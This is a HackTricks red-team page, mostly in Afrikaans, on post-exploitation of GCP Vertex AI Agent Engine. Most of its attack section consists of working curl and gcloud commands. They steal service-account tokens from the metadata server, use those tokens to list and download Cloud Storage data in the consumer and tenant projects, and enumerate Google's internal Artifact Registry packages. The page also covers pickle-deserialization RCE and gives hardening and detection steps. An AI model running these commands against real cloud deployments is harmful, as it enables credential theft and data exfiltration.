GCP - Vertex AI Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Vertex AI Agent Engine / Reasoning Engine

Hierdie bladsy fokus op Vertex AI Agent Engine / Reasoning Engine workloads wat aanvaller-beheerde tools of code binne ’n Google-managed runtime uitvoer.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine stel ’n nuttige maar gevaarlike patroon bekend: developer-supplied code wat binne ’n managed Google runtime loop met ’n Google-managed identiteit.

Die interessante vertrouensgrense is:

  • Consumer project: jou projek en jou data.
  • Producer project: Google-managed projek wat die backend-diens bedryf.
  • Tenant project: Google-managed projek toegewyd aan die gedeployde agent-instansie.

Volgens Google’s Vertex AI IAM-dokumentasie kan Vertex AI resources Vertex AI service agents gebruik as resource identities, en daardie service agents kan standaard read-only access to all Cloud Storage resources and BigQuery data in the project hĂȘ. As code wat binne Agent Engine loop die runtime credentials kan steel, word daardie standaard toegang onmiddellik interessant.

Main abuse path

  1. Deploy of wysig ’n agent sodat aanvaller-beheerde tools of code binne die managed runtime uitgevoer word.
  2. Query die metadata server om projek-identiteit, service account-identiteit, OAuth scopes, en access tokens te herwin.
  3. Hergebruik die gesteelde token as die Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot na die consumer project en lees projekwye stoordata wat deur die service agent toegelaat word.
  5. Pivot na die producer- en tenant-omgewings wat deur dieselfde identiteit bereik kan word.
  6. Lys interne Artifact Registry pakkette en onttrek tenant deployment-artikels soos Dockerfile.zip, requirements.txt, en code.pkl.

Dit is nie net ’n “run code in your own agent” kwessie nie. Die kernprobleem is die kombinasie van:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

Die resource name format wat deur Agent Engine gebruik word is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

As jy ’n token met Vertex AI toegang het, enumereer die Reasoning Engine API direk:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Kontroleer die deployment-logs, aangesien hulle internal producer Artifact Registry paths kan leak wat tydens verpakking of runtime-opstart gebruik word:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Die Unit 42-navorsing het interne paaie waargeneem soos:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Metadata credential theft vanaf die runtime

As jy kode binne die agent runtime kan uitvoer, vra eers die metadata service:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Interessante velde sluit in:

  • projek-ID’s
  • die aangehegte service account / service agent
  • OAuth-scopes wat vir die runtime beskikbaar is

Versoek dan ’n token vir die aangehegte identiteit:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Valideer die token en ondersoek die toegeken scopes:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google het dele van die ADK-deploy-werkvloeie verander nadat die navorsing gerapporteer is, so presiese ou implementerings-snippets mag nie meer met die huidige SDK ooreenstem nie. Die belangrike primitief bly steeds dieselfde: if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path.

Consumer-projek pivot: service-agent datadiefstal

Sodra die runtime token gesteel is, toets die effektiewe toegang van die service agent teenoor die consumer project.

Die gedokumenteerde risikovolle standaardvermoë is breë read access to project data. Die Unit 42-navorsing het spesifiek gevalideer:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Praktiese validering met die gesteelde token:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Dit verander ’n gekompromitteerde of kwaadwillige agent in ’n project-wide storage exfiltration primitive.

Producer-project pivot: interne Artifact Registry toegang

Dieselfde gesteelde identiteit kan ook teen Google-managed producer resources werk.

Begin deur die interne repository URIs wat in die logs teruggevind is te toets. Enumereer dan pakkette met die Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

As jy slegs ’n raw bearer token het, roep die REST API direk aan:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Dit is waardevol selfs as write-toegang geblokkeer is omdat dit blootstel:

  • interne image name
  • verouderde images
  • supply-chain-struktuur
  • pakket/weergawe-inventaris vir opvolgnavorsing

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Tenant-project pivot: ophaling van ontplooiingsartefakte

Reasoning Engine ontplooiings laat ook interessante artefakte agter in ’n tenant project wat deur Google vir daardie instansie beheer word.

Die Unit 42-navorsing het die volgende gevind:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Gebruik die gesteelde token om toeganklike berging te enumereer en te soek na ontplooiingsartefakte:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Artefakte van die tenant-projek kan onthul:

  • interne bucketname
  • interne image-verwysings
  • verpakkingsaanname
  • afhanklikheidslyste
  • geserialiseerde agent code

Die blog het ook ’n interne verwysing waargeneem soos:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Selfs wanneer die genoemde beperkte bucket nie leesbaar is nie, help daardie leaked paths om die interne infrastruktuur in kaart te bring.

code.pkl en voorwaardelike RCE

If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.

Die onmiddellike probleem is vertroulikheid:

  • offline deserialisering kan kodestruktuur blootlĂȘ
  • die pakketformaat leaks implementeringsbesonderhede

Die groter probleem is voorwaardelike RCE:

  • if an attacker can tamper with the serialized artifact before service-side deserialization
  • en die pipeline later daardie pickle laai
  • kan willekeurige kode-uitvoering binne die managed runtime moontlik word

This is not a standalone exploit by itself. It is a dangerous deserialization sink that becomes critical when combined with any artifact write or supply-chain tampering primitive.

OAuth scopes en Workspace blast radius

Die metadata-antwoord openbaar ook die OAuth scopes wat aan die runtime gekoppel is.

As daardie scopes breĂ«r is as die minimum vereiste, kan ’n gesteelde token nuttig raak teen meer as net GCP APIs. IAM bepaal steeds of die identiteit gemagtig is, maar breĂ« scopes vergroot die blast radius en maak latere miskonfigurasies gevaarliker.

If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:

GCP <–> Workspace Pivoting

Verharding / opsporing

Verkies ’n custom service account bo die default managed identity

Huidige Agent Engine-dokumentasie ondersteun die instel van ’n custom service account vir die gedeploĂ«erde agent. Dit is die netste manier om die blast radius te verminder:

  • verwyder afhanklikheid van die default breĂ« service agent
  • gee slegs die minimale toestemmings wat deur die agent benodig word
  • maak die runtime-identiteit ouditbaar en doelbewus begrens

Valideer die werklike service-agent toegang

Inspekteer die effektiewe toegang van die Vertex AI service agent in elke projek waar Agent Engine gebruik word:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Fokus daarop of die aangehegte identiteit kan lees:

  • alle GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • secrets of interne registries wat deur build/deployment workflows bereik kan word

Hanteer agent-kode as bevoorregte kode-uitvoering

Enige hulpmiddel/funksie wat deur die agent uitgevoer word, moet hersien word asof dit kode is wat op ’n VM met metadata-toegang loop. In praktyk beteken dit:

  • hersien agent-hulpmiddels vir direkte HTTP-toegang tot metadata-endpunte
  • hersien logs vir verwysings na interne pkg.dev repositories en tenant buckets
  • hersien enige packaging-pad wat uitvoerbare toestand as pickle stoor

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks